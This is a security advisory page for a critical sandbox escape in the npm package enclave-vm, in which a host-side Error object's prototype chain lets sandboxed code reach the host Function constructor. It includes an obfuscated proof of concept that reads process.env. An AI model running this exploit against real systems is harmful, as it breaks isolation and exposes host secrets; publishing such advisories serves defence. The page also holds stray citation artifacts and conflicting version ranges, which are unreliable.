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GHSA-7qm7-455j-5p63

CRITICAL

GHSA-7qm7-455j-5p63 is a critical-severity (CVSS 10) Code Injection vulnerability in enclave-vm. O3 Security confirms whether GHSA-7qm7-455j-5p63 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain

Also known asCVE-2026-22686
Published
Jan 14, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

enclave-vmnpm
413downloads / week

Description

A critical sandbox escape vulnerability exists in enclave-vm (affected: < 2.6.0, patched: 2.7.0) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the host Node.js runtime.

When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor:

Error instance → Error.prototype → Error constructor → Function constructor

With access to the host Function constructor, an attacker can compile and execute arbitrary JavaScript in the host context — bypassing the sandbox boundary and potentially gaining access to sensitive resources such as process.env, filesystem, and network.

This breaks enclave-vm’s core security guarantee of isolating untrusted code.


Ecosystem Impact (FrontMCP / CodeCall)

FrontMCP is a TypeScript-first framework for building MCP servers, and the CodeCall plugin enables models to orchestrate large toolsets by generating and executing JavaScript plans.

Enclave is the defense-in-depth sandbox layer behind CodeCall (AST validation + runtime sandboxing). If you use FrontMCP CodeCall for agent tool execution, you should treat this as an urgent upgrade and ensure your runtime is on a patched enclave-vm version.


Live Playground (Safe Exploration & Testing)

To explore Enclave’s execution model (AgentScript + tool calls) and validate your integration behavior, use the live playground:

This is the quickest way to understand the sandbox / tool-call flow and confirm your environment is running a patched setup.


Timeline (Fast Fix)


Proof of Concept

⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.

<details> <summary>Click to expand PoC</summary>
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.

const s = (...args) => String.fromCharCode(...args);

const kCon    = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto  = s(95,95,112,114,111,116,111,95,95);           // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode   = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const kPtype  = s(112,114,111,116,111,116,121,112,101);

try {
    const ObjectProto = Object[kPtype];
    const lookup = ObjectProto[kLookup];
    const getProtoNative = lookup.call(ObjectProto, kProto);

    let hostError;
    try {
        await callTool('THIS_TOOL_DOES_NOT_EXIST_XYZ', {});
    } catch (e) {
        hostError = e;
    }

    const errProto = getProtoNative.call(hostError);
    const ErrorCtor = errProto[kCon];
    const HostFunc = ErrorCtor[kCon];

    const exploitFn = HostFunc(kCode);
    return exploitFn();
} catch (e) {
    return e.message;
}
</details>

Mitigation / Remediation

Immediate action:

  • Upgrade enclave-vm to 2.7.0+

Defense-in-depth guidance:

  • Re-create all Error objects crossing the sandbox boundary inside the sandbox realm
  • Strip / freeze prototype chains of host objects
  • Prevent access to host Function constructors
  • Harden tool error handling to avoid leaking host-native objects

References


Factual hooks (for correctness):
- GHSA page confirms **affected `<2.6.0`** and **patched `2.7.0`**, plus CVSS 10.0 and the exact vulnerability description. :contentReference[oaicite:0]{index=0}  
- FrontMCP docs explicitly describe **CodeCall** and that it uses **Enclave (AST validation + runtime sandboxing)**. :contentReference[oaicite:1]{index=1}  
- FrontMCP positioning (“TypeScript-first framework for MCP…”) is stated in the docs. :contentReference[oaicite:2]{index=2}  
- Enclave repo links the **Live Demo** at `enclave.agentfront.dev`. :contentReference[oaicite:3]{index=3}  
- Release listing shows `[email protected]` dated **Jan 9** (fast fix signal). :contentReference[oaicite:4]{index=4}
::contentReference[oaicite:5]{index=5}

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmenclave-vmall versions2.7.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for enclave-vm. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update enclave-vm to 2.7.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7qm7-455j-5p63 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7qm7-455j-5p63 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7qm7-455j-5p63. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

A critical sandbox escape vulnerability exists in **enclave-vm** (affected: **< 2.6.0**, patched: **2.7.0**) that can allow untrusted, sandboxed JavaScript to execute arbitrary code in the **host Node.js runtime**. When a tool invocation fails, enclave-vm exposes a **host-side Error object** to sandboxed code. This Error object retains its **host realm prototype chain**, which can be traversed to reach the **host `Function` constructor**: `Error instance → Error.prototype → Error constructor → Function constructor` With access to the host `Function` constructor, an attacker can compile and
O3 Security · Impact-Aware SCA

Is GHSA-7qm7-455j-5p63 in your dependencies?

O3 detects GHSA-7qm7-455j-5p63 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.